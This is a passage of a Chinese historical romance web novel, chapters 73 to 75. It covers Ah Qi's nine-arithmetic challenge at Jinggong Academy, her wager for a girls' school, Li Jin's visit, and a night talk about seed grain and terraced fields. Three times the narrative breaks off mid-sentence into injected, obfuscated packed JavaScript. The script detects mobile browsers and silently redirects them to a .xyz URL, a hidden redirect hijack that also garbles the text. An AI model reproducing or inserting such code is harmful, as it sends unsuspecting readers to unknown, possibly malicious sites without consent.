她家夫君嘴角勾起,非要不高不低地声音,落在阿祇耳中面上一热,嗔怪地瞟了他一眼。另外两个目光果然聚焦过来,她赶紧给这几个爷儿添饭,“你们且尝尝,这是我家乡的风味,喜欢吗?”说着,夹起花朵一般的烧麦正要送出去,三双目光同时扫来,她这悬着的手臂一沉,僵了的筷子就在空中改了个方向,放入潭儿的碗里。 玄盛垂下眼帘,宋繇视若罔闻,潭儿喜上眉梢,咬了一口烧麦觉得鲜香多汁,阿祇又忙给玄盛和宋繇送上红豆沙羹,她家夫君那碗里还有桂花香气,“我记得,你上次说喜欢这个味道。” 她惯来会拍马屁,潭儿见她对李暠上心,开口道:“这是什么?好好吃。” 有了话头总比这莫名其妙的尴尬好,她给玄盛和宋繇分别夹了一个烧麦,其实关于烧卖最初的记载,是元朝的《朴通事》里的素酸馅稍麦,这里的“稍麦”,就是后世所说的“烧麦”,可是要怎么跟他们解释呢? “这……是我随手一做的碳水包。”潭儿听成了“潭水包”,就以为是阿姊特意为他而做,精致的眉眼全是喜悦的星星,他又要开口被阿姊瞪了回去,“快吃,食不言,寝不语。” 玄盛闻言,看了她一眼,好像饭桌上就属她的话多。 阿祇立志当个历害的主母,见他们乖乖地将饭吃了个精光,笑着为宋繇添了一杯水,这人明明不喜甜,却将那碗红豆沙吃了个精光,半晌就属他最安静,“宋繇,听闻你与靖恭堂的夫子最为熟悉,能否带我去礼、乐、射、御、书的席堂去看看?” 宋繇刚要点头说好,潭儿似笑非笑地看着她,“为何独缺了六艺中的数?” 阿祇反驳:“那是因为数我已是最强,大考前时间有限,能学些其他的见识便不虚此行。” 三人皆笑,尤其潭儿笑得最是开心,“夫子说,谦谦君子,卑以自牧,当克己养谦。”阿祇揉了揉他一本正经的的小脑袋,“夫子说的自是没错,君子之交,当谦卑、谦恭、谦逊、谦和,不过你主母我一不是君子,二不喜违心,如若有舍取,必得变通,眼下就是变通的时候。” 潭儿追问:“如果有一天主母要有舍取,我和家主之间你当选谁?” 阿祇:“……” 73. 六艺 太阳的光芒笼罩了山林,半山的学堂大殿依山而立,已有学子们在晨练,他们之中年纪最小的不满十岁,最大的弱冠之年,大多数则是束发的年岁,十五六岁。学子青衫飘逸朝气,读书的声声入耳,练剑的剑气如虹,场面甚是壮观。 两日后,就是靖恭堂今年的六艺大考。 玄郎君和辛夫人的亲临,让这些年轻人更加兴奋无比。他们想像宋师兄那样行万里路,建功立业。卯时刚过,殿前的空地聚集了数百学子,欧阳山长和诸位夫子陪同玄郎君坐镇主考,辛夫人却不在其中。 宋繇青衫长袍,仪态一丝不苟地对师长与同窗们行礼,然后开始宣布今年大考流程。 六艺出自《礼记》,是周朝延续下来六种对贵族教育的技能体系,即礼、乐、射、御、书、数,大考有两天的时间,这些年,靖恭堂学子的人数每年都增加近百,大漠一统后更有来自西域的游学学子,高门子弟的比重越来越少,这大概便是李潭到来后被人针对的原因吧。 既然不能人人参与六项终考,欧阳山长给每科项目发了一百个对牌,前一百名才能拿到对牌,即得到终考入围资格。终考以积分排名,对于优秀的学子,很可能同时拿到六艺的所有对牌,但大考只有两天时间,为了更有把握很多学子会放弃一两门考试,这就给更多年纪小的学子了上场的机会。 当年宋繇十四岁参加了全部的六科考试,两日下来几乎累到虚脱,最终成绩至今无人打破。之后,十四岁的宋繇追随李暠,年年寒冬酷暑西行历练三月,现在已能独当一面。不是因他的身份,事实上很多人不知宋繇与李暠同母异父的师兄弟,宋繇的掌事之位,却是因其才华横溢,韬光韫玉。 台上,宋繇正宣布今年的靖恭堂大考规则。 “六艺考核,志于道,据于德,依于仁,游于艺。初试以过往一年排名为准,前一百名者即可领取对牌进行终考。明日辰时,未领取者以放弃论处,增补空余名额,后日卯时,最终考核开始,为期两日。”每年的规则,大抵如此。 学子们热闹起来,他们中岁数大的,在各项考核中有优势,但年岁小的孩子中不乏聪慧过人的,尤其对礼、乐、书、数以智力才能为基础的项目,靖恭堂会不拘一格降人才。 诸子百家,君子六艺,李暠对墨家暗自推崇,考核中肯定少不了夹带私货。果然,她听到了宋繇对射御的比试说明:“射,考核增设剑、枪、弓、马以及兵法布阵。御,考核涵盖驾驭车马,山川地理、气候观测……” 阿祇两眼放光,简直不能再期待了。 学堂大殿上的欧阳山长好像没发现她,发福的老夫子今日显得格外庄重,玄郎君正坐于主位,少了杀伐决断的威势,身穿士族长袍颇有君子风范,令学子们心生拜服。靖恭堂每年都有无数人前来求学,南有谢安,北有欧阳,可惜山长始终拒绝兴办女学。 钟声绵长,宋繇挺拔的身姿,轻风屹立,卓尔不凡。阿祇站在学子当中,看风景,看人,看宋繇居高远眺,日光穿过晨雾,照在台下一张张年轻的脸庞上,内心也涌上蓬勃的期冀与喜悦。 原来,这一切就是他想要的。 阿祇的思绪回到了从前…… 于阗分别的那日,她看着不远处的李暠说:“不分族裔,大道为公,凡我所见皆有所养,凡我所闻世间大同。”她当时是怎么回答的,“人若还有欲望,世间有贫苦、歧视、不公和苦难,因为人的自私就不可能有平等互爱的理想社会,就不可能有桃花源般的地方。”那时的她悲观地认为,别说十六国的乱世,就算千年后的文明,也很难实现李暠的理想。 四目相对,她懂了。 李暠是个极有耐心的人,远远看着阿祇,见到她眼中的繁星,深褐色的眸中亦有星光。世事艰难,身不由己,原来他在尽其所能的,一点点朝自己的理想前行,李暠用了十年时间,潜移默化地行大漠关外,融高门寒士,推五经六艺,如今看来,连他出仕入仕和惧内的名声,怕也是作为陇西李氏家主对世俗的考量,李暠真的在努力创造他想要的大同世界。 迎风而立,辛夫人已经与李暠站在了一起,更没有退缩的道理。 阿祇拉着潭儿混在学子人群里,难掩激动,“潭儿,想不想试试?” 潭儿靠在阿祇的身侧,紧紧拉着她手,“阿秭,我们是新来的,并没有资格拿对牌。”阿祇觉得有些可惜,“围观也好,机会难得,可不能错过。”潭儿不知在想些什么,忽然身子一阵摇晃,阿祇赶紧扶住他,“怎么了?”潭儿苍白着小脸,眼睛又黑又亮,“我有些头疼,想回去休息。” 阿祇说:“好,我先送你回去。” 这时,宋繇道:“辰时已到,开榜!” 他们的脚步还未动,宋繇抬手,六张巨大的榜单呼啦一下,从墙壁上飞挂而下,上面写满了六艺考核入围的名字,学子们人声鼎沸团团围上。有人欢呼,“快看,我进了礼乐榜单!”有人喜悦,“我也上榜了,两个榜!”也有人垂头丧气,高喊:“前面的郎君,有没有退考的?” 阿祇身边议论最多的,“那个西域来的小子,射和御竟都是前三甲。” 寒门学子中有很多西域人,他们说的名列射、御前三甲之人,据说就是一位来自龟兹的少年,“那小子才来了一年,礼乐不通,不过是匹夫之勇。” 潭儿拉了拉她的衣袖,小声提醒:“阿姊,我……” 他的话出口一半,宋繇对兄长微一颔首,接着宣布:“诸位……”宋繇的声音不高不低,因着他的威望,周围立刻安静下来,潭儿也不得不噤声。 学堂大殿聚集了四五百人,只听宋繇道:“今年的大考,将增设一场额外考试。” 众人兴致盎然,等待他的下文。 “考试科目为九数,报名不设限,新生和夫子亦可参加。”这下学子们更加热情了,其实很多寒门学子的礼乐并不出众,九数是小众,六艺之末,被士族子弟不齿,没想到今年有所不同,宋繇继续宣布细则:“最后一日,辛夫人将亲自下场与众学子同考,凡能胜辛夫人者,双倍积分累入终考,玄玉阁额外有赏。” 大殿人群哗然,辛夫人要亲自下场,考九数? 最吃惊的当阿祇莫属,她刚放出大话“数术最强”,打脸的新规就来了。 “阿秭,你还好吧?”潭儿小声说:“我们快走。” 阿祇宽慰,“无事。” “阿秭,你真的要下场吗?输了的话,可没面子。” “说好的我是九数最强王者,就算他们一起来,第一也定然是我。”这自信的张狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15413619|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若是被外人听了肯定会笑她的,潭儿听了却更加崇拜她,他认定的人就该这般厉害。 白衣玄盛神识沉敏,清风朗月,修长漂亮的手指端起茶水,嘴角微扬,深邃的眼眸扫向人群中的阿祇,眉目流转。这一看,阿祇觉得好气又好笑,人人敬畏的玄郎君眼中有使坏得逞的得意。 那眼神好像在说:“夫人惊喜否?意外否?” 阿祇回了他个眼神:“你这样,礼貌吗?” 他们大庭广众之下眉来眼去,玄郎君眼神太炙热,吓得阿祇旁边的学子出了一身冷汗,眼尖的这才发现,玄郎君目光投射的原来是身边这位……咦?这可不就是女扮男装的辛夫人?遂又惊又喜。 欧阳山长眼神再不济,也发现了蹊跷,本以为李玄盛收敛了些没带夫人,没想到两人又有新花样。大冷天的,老头子内心上火,手上摆谱的折扇啪得打开,呼呼扇风,颤抖着的胡子在圆脸上乱飞。 阿祇拉着潭儿走向人前,潭儿手指扯紧她的袖子,一刻不敢松。她一身学子广袖儒衫,显得她修皙清俊,明亮的眼睛藏着美丽的笑容,跃过李玄盛,竟对欧阳山长行了一礼。 “倘若吾得了魁首,靖恭堂能否也给流光一个奖励?” 欧阳山长沉默,人群中一个戴冠的年轻敦实后生出来,“我乃数术初试榜单第一名,辛夫人比试九数,胜负还未可知。” 阿祇很客气地向年轻人招呼,“这位郎君,幸会。” 她是玄盛之妻,言行尊重有礼,任学子们也挑不出什么毛病,“既如此,流光期待与郎君切磋比试。吾也是为了第一名来而来。”敦实的年轻郎君出自商贾,好文人雅趣,奈何六艺不精,只除了自小被父亲逼着学了数术,来了靖恭堂求学,侥幸得了初试魁首,便想在士族中立威。 文人好自谦,敦实郎君习惯了与同窗君子之交,遇上辛夫人坦荡荡的回答,反倒束手束脚,“那个……好说。” 阿祇还记得欧阳山长吹胡子呢,“所以,山长我能要彩头吗?” 隔着老远,欧阳l山长轻咳几声,“流光,想要什么?” 他第一次称呼她的字,算是友好的开始。 阿祇思索时,整个人青衫素颜,气质婉约,“吾若赢了九数,想同其他五艺的魁首求教,五局三胜,若流光得胜三场,请靖恭堂开设女学。”以文会友也好,学术交流也罢,这些年轻的拔尖学子,必有独到的学习领悟和智慧,原本都是她想请教的对象。阿祇释放了足够的尊重,谦谦君子们却同欧阳山长一样,露出惊诧的神情。 学子们窃窃私语,“辛夫人,是不是太不把我们放在眼里了。” 高门士族多有女学但都在后院,由教习嬷嬷教习闺训,公然堂之入驻靖恭堂,简直匪夷所思。奈何她是辛夫人,敢向六艺魁首挑战的女子。 欧阳山长胖胖的身子起身,总算合上他的早春雅扇,深深看了一眼辛夫人,“流光有心考教,你们就好好准备吧,莫丢了靖恭堂的脸面。”这话是说给台下学子们听的,山长没答应,也没不答应,但这在众学子看来,就是默认了女学的未来。 学子们齐声:“我等必不负山长所望。” 所望什么,不过是郎君们的脸面。 阿祇对欧阳山长遥遥行学子礼,送他离去。 74. 朝云桃花 翻过前面的山头,就是靖恭堂的草堂席设。 潭儿始终跟在阿姊的身后,阿祇转过头,又和这个小尾巴确认道:“你真的没事了?”潭儿与她齐肩高,严格说来已经不是小孩,不是说男女七岁不同席,可他仗着他们的“母子”关系,一刻不想分开,委屈巴巴的眼神看着她,“有事,但回去没阿姊照顾,我想,还是跟着你。” 阿祇叹了一口气,潭儿落单怕被人欺负了,索性就让他跟着。 她拨开小少年的头发,伤口不深本就无碍,“宋繇说,要带我去草堂听学,不然,你带路?”潭儿小嘴一撇,他可不敢让阿祇知道,这里的夫子们都不喜他,表面上他还是乖巧地点头,答应了下来,“好,我带阿姊去。” 乖巧俊美的小郎君,谁会不喜欢呢? 潭儿忽闪着明亮的大眼睛,“阿姊,九数是什么?” 阿祇的眸子颤了一下,十岁的贵族儿郎早已启蒙,他怎会不知九数?面上不敢表现出异样,她仔细说道:“九数,就是方田、粟米、差分、少广、商功、均输、方程、盈不足和旁要,多是用于田地测量,米粮称算,赋税分配,土方田亩计算,还有商贸账目。” 潭儿道:“听着都是下人要学的东西,阿姊,你为什么都会?” 这要她怎么作答,阿祇捏了他的小脸,“知识无价,会就厉害。”潭儿摸了把脸,眼睛放光,他喜欢与阿秭这般亲热。阿祇扫了他一眼,对潭儿训道:“你来的学堂这么久,学会了什么?” 潭儿就等着她问,抬起头哼了一声:“大学之道,治国,齐家,修身,平天下……六艺的教习,无甚大用,我唯爱乐,至于别的东西,我姊姊说学了也没用。” 姊姊……他自觉失言,突然就闭上了嘴。 阿祇回头望着他,有那么一瞬,她似乎看到这十一岁的少年眼中含着冰,既脆弱,又冷薄,阿祇静静地看着潭儿,过了一会儿,只见他捂上伤口,声音虚弱地说:“啊,我的头,好疼。”少年眼神躲闪,呼吸慌乱,“阿姊,我还是先回去休息了。”他踉跄了一下,看来真的头晕了。 阿祇想上前,却还是忍耐住了,潭儿心中有秘密,连身份都不愿吐露,现在不是逼他的时候,也只好装傻,“我送你回去吧。”潭儿像紧张的小猫,一碰就炸毛,“不,不用了,我自己可以。”说完,挥了下手,头也不回地往雅风苑的方向离去。 阿祇看着他瘦小孤独的身影,深深叹了一口气。 不知不觉中,他们相处了数月,历经过患难与共,不论这个孩子背后是怎样的故事,潭儿死里逃生受过的苦难,是她亲眼目睹的。 春日明媚,雪融绿意渐显,这山间已近人间四月天。 希望昨日是最后一场雪,春雨贵如油,西北的苦寒没有她想象的难挨,除了湿冷外,冷冽的空气让人郁气一扫,希望她的卦象有误,今年有个好年景。阿祇出神了没多久,身后有人拍她的肩,叫她的名字:“祖慕祇。” 她回头,看见一张熟悉的笑脸,惊喜地说:“真的是你!娘子……” 话音未落,人就要往她身上扑,眼前竟是许久不见的小李管事——李瑾。阿祇赶紧推开他的熊抱,李四郎怎么还是那个性子,咋咋呼呼地就跳过来喊:“我终于找到你了。” 于阗一别,已是数月光阴。 李瑾黑了不少,身量越发高大,他与宋繇都刚过弱冠之年,一个英武,一个清俊,小李管事的热情爽朗,暗蓝袍子衬得人多了几分沉稳,绕着阿祇转了一圈,看着她无恙,咧开嘴笑道:“宋繇来信说你到了敦煌,我还不信。” “好久不见,小李管事。”阿祇也笑着问候。 李瑾一把握住她的手,就是心中一暖,“还叫什么小李管事,叫我四郎。” 四郎,我还胖橘呢。这个梗,她大概要偷笑一辈子。笑归笑,她可没忘她家夫君的小心眼,何况李瑾还是他的族弟。阿祇头有点疼,没有转弯抹角,“好,四郎,我是你大嫂。” 突如其来的混乱关系,李瑾脸僵住片刻。 不过,也就片刻而已,没有期待中的距离感,李瑾一甩袖子,又没心没肺地道:“不是还没拜堂吗?”古代的西北,果然民风淳朴。他见阿祇苦口婆心的样子,眼睛一转,忙抢话说:“就算拜堂了也可以和离的,我们家主长兄,他大概这辈子都不需要女人,所以娘子还是嫁我吧,我已经对红楼发过誓的,今生只你一人……” 提到红楼,阿祇要被他气个仰倒。 想当初,在和田城的大街上偶遇,她帮了他那么大的忙,李瑾的脸皮也忒厚,说好的尾款金叶子还欠着呢,可能这头疼病会传染,阿祇跟他打过招呼后,忙找了个理由,“靖恭堂今日甚是热闹,四郎不去看看?” “什么热闹?娘子,你也说我们许久未见了……” 李瑾胡言乱语的正兴起,不远处,传来低沉的声音。“四郎的性子,是该收收了。” 山野清旷,斯人如皎月,逆着光走来她的夫君,身后还跟着宋繇。玄盛漫不经心地朝他们走来,伸手,阿祇眼睛一弯,乖乖地牵起夫君的手,甜美的笑容令人晃眼,李瑾的眼珠子都快掉了下来,磕磕巴巴道:“兄长,家,家主……”他换了个称呼,从小到大他都有些怕族中的长兄,下任家主。然而,李瑾还是勇敢地说出了心中的话,“君,君子不夺人所好。” 回答他的不是“君子”,却是他身边的“所好”。 刚才在靖恭堂大庭广众之下他们离得远,说不上话,这会儿见他来了,阿祇笑眯眯地拉着玄盛心情大好,簇拥风雅地吟诗道:“美人兮,翠眉蝉鬓怕别离,吾非君子,不为暮雨兮为朝云。”又被夫人调戏的玄盛,阴沉的脸色有所好转,故意靠近她耳边,“山中桃花始盛开,夫人,朝云只见花木深,一曲断肠无知音。” 阿祇被眼前的美色所迷,“桃花乱人眼,吾都说了为朝云,朝云还想怎样?” 可能是他们交头接耳的画面太过刺眼,宋繇安静,犹如不存在,可是李瑾就忍不住了要说话,硬生生地被家主一句话打断,“夫人,若不如像昨日那般处理,就甚好……” 甚好什么!想起昨日,阿祇的脸瞬间红了。 李瑾不明所以,但看娘子那副害羞的表情,好像就懂了。 枉他自诩风流,而从小的印象里,家主天南地北地奔波从不近女色,怎的,就把他的娘子拐走了?看他们站在一起,心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425790|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好生不甘,“你们……”情急之下,李瑾连气话都说了出来,“娘子,你是不是欠了家主什么?我跟你说,家主不喜女色,你若嫁给他……” 话还没说完,就被急急赶来的护卫统领郭谦喝止道:“咳,四郎一路奔波,犯了癔症,家主和夫人莫怪啊。”黝黑的汉子露着白牙跑过来,憨厚的笑着圆场,马上训斥李瑾说:“族里不是已经给你订了亲,就是你心心念念的尹家嫡女。” 他故意说得很大声,好在场人都听得清楚。 可惜,李瑾是个一根筋的犟驴性子,“郭叔父,你明知我说的尹家嫡女,不是真的尹家嫡女,是……”郭谦脑门青筋直跳,敢情来的时候就千叮咛万嘱咐,都喂到了狗肚子里,“是什么是,我看你父亲打你打得还不够疼。” 郭谦是看着他长大的长辈,李瑾是三房独子,自小得祖母疼爱,嫡母宠溺,养成了肆无忌惮的性子,他的父亲与郭谦是挚友,原以为有他看着四郎出去磨练几年能稳重些,没想到,还是不让人省心。从西域回来,将他的心思一说,被他父亲好一顿打。 月前,族里的长老收到家主的来信,于阗被围“辛夫人”只身前往相助。为保和田城安然,防天下悠悠众口,这婚书和辛夫人辛纳之女的身份,族老们早就办得妥妥的,虽然只是权宜之计,但阴差阳错的,这辛夫人就成了真。 今日虽然有日头,但雪后的山上还是有些冷。 郭谦赶紧汇报正事,“家主,卑禾羌海来的马车都到了,一路平安。” 一开春,他们一行暗中从陇西远赴高原卑禾羌海,将家主交代的事情办好就急匆匆地赶来敦煌,那时凉州战事正紧,有了效谷令的文书,段业的凉州兵都给了通关便利。 李暠微微点头,说了声:“好。” 郭谦人看着憨厚,但闯江湖了半生,甚是会察言观色,他们朝家主复命后,立即准备回陇西筹备商队。他拉着李瑾走到宋繇跟前,客气地说:“事已办妥,还有劳宋掌事查验。” 宋繇恭敬回礼,“辛苦郭统领了,请带路吧。” 李瑾心不甘情不愿地看向阿祇,还想再挣扎一下,却被力大无比的郭谦提着就走,郭谦不忘提点:“家主宽宏仁厚,你莫再任性,宋掌事见笑了,听说今年靖恭堂出了不少后生……” 看着他们离去的身影,阿祇这才看身旁冷着脸的玄盛,他那深邃的眼眸总算柔和下来,说出的话却意味深长,“夫人,威武。” 阿祇知道,他指的不是李瑾,而是九数比试的事。 每当她出人意料剑走偏锋的时候,玄盛就爱调侃她这句,上次比舞也是,阿祇眨眨眼,“我确定,这回也是你先出的手。” “哦?好像也是。” 玄盛笑着看向眼睛亮晶晶的阿祇,自家人互坑的戏码,他们玩得乐此不疲,还总默契十足,“我家夫人说她数术最强。这回,可有十足把握?” 阿祇说得理直气壮,“毫无把握。” 这番对话好生熟悉,阿祇牵着他的手用力拉了一下,把她家郎君的脸凑近,才提起脚在他耳边说:“我从来不低估古人,咳,文人的才能……不过,有个想法。” 玄盛苦笑,又来了…… 75. 夜谈 月色皎洁,星光璀璨,山上的夜晚有花朵的清香,白天的时候,阿祇发现三月的祁连山脉,居然有花盛开,白色的花瓣中有橘黄色的花蕊,夜晚当她回来的时候,屋子里就摆放了一盆。 阿祇惊讶地问:“呀,哪里来的花?” 玄盛瞟了窗口一眼,“可能是米耶送来的。” 阿祇被这满屋子的春色花香感染,走上前欣喜不已,“没想到这种脆弱的生命竟能抵抗春寒,长生,它开得真美,你知道这花的名字是什么吗?” 玄盛走过来窗边站在她身边,轻轻道:“顶冰花。” 也许被她的心情感染,玄郎君弯下腰陪夫人一起,看月色闻花香,“好美,为什么叫这个名字?” “大概因为,花儿顶着冰雪开放吧。” 玄盛以前很少留意花花草草,更不用说研究它们的名字,但看到阿祇喜欢,心就变得柔软起来,“很久以前,我第一次去龙城,那里的山坡开了很多这种白色的小花。” “那一定很美。”阿祇半倚着窗口半靠着他的肩,一轮明月当空,此时此刻是不曾有过的惬意,侧头看了他一眼,“长生,我喜欢这里。” 玄盛拂过她肩头散下的一缕长发,眼神如水,“喜欢,我们就留在这。” 阿祇目光亮晶晶的,在他脸上快速亲了一口,没有畏惧和犹疑,“我喜欢这里,是因为这里有你,我想陪着你一起改变这天地。” 玄盛嘴角一翘,手指捏上她小巧的鼻尖,“改变天地,夫人的口气真不小。” “长生。”阿祇认真地说:“今日我走遍了学堂,倚山而望尽是冰川雪原,一位学子告诉我,原来这就是传说中的三危山,竟真的如远古神话中所说,夏日山清水秀,草木繁盛。你知道意味着什么吗?”一口气说了那么多,玄盛知道他家夫人博学广识,忍不住逗弄道:“意味着……山中有西王母和三青鸟?” 原来他也喜欢读《山海经》,但这不是重点。 相传,昔时整座山被天火点燃,花草树木熊熊燃烧,三青鸟看到后心疼的不得了,用嘴从山下的溪水中吸满了水,在空中喷洒向烈火,可是法力有限,一山火灭,一山火起,风光秀丽的三危山最后被烧的光秃秃,王母回了瑶池,三青鸟从此下落不明。 阿祇道:“有水有地,就意味着能种粮。” 春播正当时而到处都在打仗,务农的人本来就少,倘若赶上旱年,别说共计十万军粮,恐怕敦煌城里的三万人口都吃不上饭,“白天我找了书馆的地理志,三危山上有冰川,下有黑水河和疏勒河的支流,只要开垦水渠,蓄水得当,就可以养梯田种小麦和粟米。”她说了这么多,如果玄盛还看不出她的心思,那就太对不起他家夫人这么多的铺垫了。 玄盛正视她的眼睛,“所以,你想……” 阿祇立刻回答:“我想,九数的考试由我亲自出题,就考方田和粟米之法。” 玄盛瞳孔一震,半晌没说出一句话。 阿祇心中打鼓,堂而皇之地说出自主命题自己要参与的考试,这样不会被他误会有作弊之嫌?她心中给自己一遍遍鼓气,这是最好的机会。玄盛的沉默,并非误会她的初衷,正相反,他的内心受到很大震撼。如果说,之前阿祇的机智聪慧令他欣喜,那么现在他是真正佩服她的勇敢和计深远。 从袖中露出的手,格外修长温暖,他拉住她靠近自己,月光下阿祇眼睛清澈,眉目如画,静静望着他。玄盛开口:“阿祇,我曾怀疑过你的身份。” 好端端的,阿祇不明白他为何突然承认这个。 她看向他点头说:“我知道。” 玄盛对她简单的话语忍俊不禁,“就只是这样?” 阿祇坦然地表示,“我是大漠的孤女,出现的不明不白,你若不怀疑那才不正常吧?至于关于我的来历……”虽然迟疑,但毕竟这是一个避不开的话题,“我从很远的地方来,或许这很难理解,因为我自己也不知道为什么出现在这里。” “阿祇,我是不是该叫你辛薇?” 玄盛认真地看着她,“你来自哪里对我不重要,你是你自己,愿意留在我身边就够了。” 他们彼此相望,夜风清冷,阿祇在窗边忽然打了个激灵。 玄盛半搂着她关起窗子,拉着她坐在暖洋洋的榻上,取来一件大氅给阿祇披上,开始讲起了他的经历,“早年我在大漠行走,除了玄玉阁的身份之外,我还有一个身份,玄羽衣的首领。”阿祇有堵住耳朵的冲动,李暠郑重的神情,好像接下来要说的听了后有被灭口的危险,被他家夫君一个白眼,人就老实了,乖乖卧在暖炕上听他说话。 “玄羽衣的厉害之处,不仅是武力,还有耳目。” 阿祇忍不住问:“所以当第一天我们相遇,我告诉你名字的时候,你就怀疑我与精绝国的辛秘有关?”玄盛默认了,这让他想起了一个人,“在匈奴人的盐泽魔窟中,关押着一个精绝巫师,她是现任巫师的同宗师妹,因谋害王室被驱逐。” 想起善爱和沙迦牟韦也被流放,沙迦说过他的兄弟们几乎都死了,他这个叛逆的王子却活了下来,不知道与这个女巫师有没有关系,阿祇的思路清奇,“谋害王室?就只是被驱逐?” 玄盛讲述道:“西域的巫师都享有尊崇地位,轻易杀害,王室恐惧会被诅咒。那个巫师流浪在沙漠里遇见玄羽衣求救,没有人想与被流放的巫师有所瓜葛,那巫师愿意用精绝国的辛秘交换救命之恩。”那是个寒冷的傍晚,女巫说出了祖慕祇的传说,诞生在祖母海的女子,能拯救一国厄运……可惜当时无人信她。 “然后呢?你们救了她吗?”阿祇好奇地问,玄盛看她长发散着,半倚热塌胡床,睁着大眼像在听睡前故事,忍不住抚上她的脸,“算是吧。” 阿祇的脸被他轻轻抚着,像只乖巧的猫。 烛影摇曳,玄盛深刻的五官面色有一刻阴翳,看到阿祇明亮的眼神,很快恢复如故,“我们丢给她一袋水就走了。”阿祇没有再追问,这时候想起那个声音,“我在盐泽魔窟的时候,好像听见有人用精绝语说那句祝祷文。” 她换上了精绝语,闭上眼睛,光晕中似有魔力的巫女: “春日太阳升起时, 丰盈尼雅之水, 天神派下他的女儿, 降生祖慕海。” 声音一落,她的双眼睁开,朱砂花钿下容颜依旧柔美,玄盛熟悉的黑眸如秋水,总能在他心中漾出层层涟漪,那个撩拨他心弦的女子却不自知,“起初我以为那里关着的是善爱阿秭,但我悄悄探查过,牢洞里关着的是一个失心疯女人,从不和人讲话,每日对着墙壁刻画,自言自语,可能就是那个在大漠中活了下来的女巫师。” “或许,那已经是对她最好的结局。” 李暠说的有点冷血,不过她背后残害那么多王族性命的因果,谁又知晓。 阿祇将膝上温热了的大氅,分了一半,盖在他的腿上。温暖传来,玄盛抬眼看她心中不禁悸动,他的一生,原本是要奉献给家族的荣光,从没奢望上天如此厚待,“和你说这些过往,是因我不再疑你,无论你做什么,我会支持你。” “你的意思是,同意我的想法了?” 俊美青年微笑点头,他的眼眸深幽,阿祇眼神熠熠,当他们的距离越来越近,阿祇猛地起身,与那靠近的薄唇擦身而过,裙角宛如起舞的蝶翼,欢快地取来一旁放着的纸笔,又搬来很亮很亮的火烛,跪坐在桌塌前,开始磨墨。 被冷落在身后的夫君,在胡床上叹了口气,苦笑着陪夫人秉烛夜读。 “郭谦和四郎他们这次来,不是送普通的货吧?”低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15435736|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写字的阿祇,冒出一句猜测。 玄盛眉毛一挑,“哦?何以见得?” “郭统领提到,他们是从卑禾羌海而来。”阿祇侧着头看他,“卑禾羌海远在西南,这个季节雪雨兼程,我猜他们是去筹粮了。”玄郎君怕隔墙有耳般,凑到她跟前,热气吹到她的耳朵上,悄悄说了两个字,“不错。” 阿祇怕墨汁弄脏了他洁白的中衣,便轻轻推开他,“外院有稷,有了昨夜的教训,我挺好奇谁还敢再来。你有话好好说,别凑过来。” 玄盛有点失落,坐回原处。 “他们送来的几车确实是粮,更准确的说是粮种。” 阿祇惊得墨汁差点溅出来,那么多车的粮种?她家的效谷令,这是准备打造凉州的粮仓吗? 玄盛不露痕迹地挪近些许,在她身边讲道:“嬴政统一天下前,小国韩国派了个叫郑国的治水使者,献计秦王打通渭河的泾水和洛水河,建造一条三百里的水渠,灌溉两岸属地,原本韩国的计策是想秦国劳民伤财,无心无力攻打他国。没有想到,却在后世的史书上多了一笔:关中为沃野,无凶年,秦以富强,卒并诸侯,因名曰‘郑国渠’。” “郑国渠我听过,难道你想效仿前人?” 玄盛故作玄虚,“夫人,你提的九数命题,怕也是存的这个心思吧?” 玄盛见她的眸子闪动了一下,他家的辛夫人可能自己都不知道,若耍起小心思被人看出来,眼神就不自觉地微微像右上飘忽。阿祇傻笑了一下,“呵呵……九数考核连夫子都可参与,群策群力,这么好的资源,当然不能浪费。” 敦煌地界涵盖瓜州、玉门、肃北等地域,十二万亩的耕地,养活三万百姓和十万军队,这还不包括流民的口粮,以及被其他势力抢粮的风险,若不提前布局肯定会出问题。这个时代没有巨型电脑设备,把敦煌最聪明的学子风暴一下,就是最强大脑的联机工作。 “夫人,你这是在画什么?” “这是梯田。”阿祇转动她的小脑瓜,尽量因地制宜地改设计,“你那几车粮种价格不菲,定不是为敦煌城的耕种大公无私准备的吧?我们应该是想到一起去了,效谷的庄子里是你的人,但耕地应是不够,所以我想在三危山的丘陵山坡上,修筑些台阶式的田地,就像这样……” 她画了几个示意图,拿给玄盛看。 玄盛接过来,越看眼神越复杂,阿祇看他的神情变幻莫测,赶紧解释道:“不必担心水土,只要地形选好,坡度小于一定的角度,不会有流失滑坡的风险,我只是需要考虑如何修筑水渠,才能不让山上的植物缺水。” 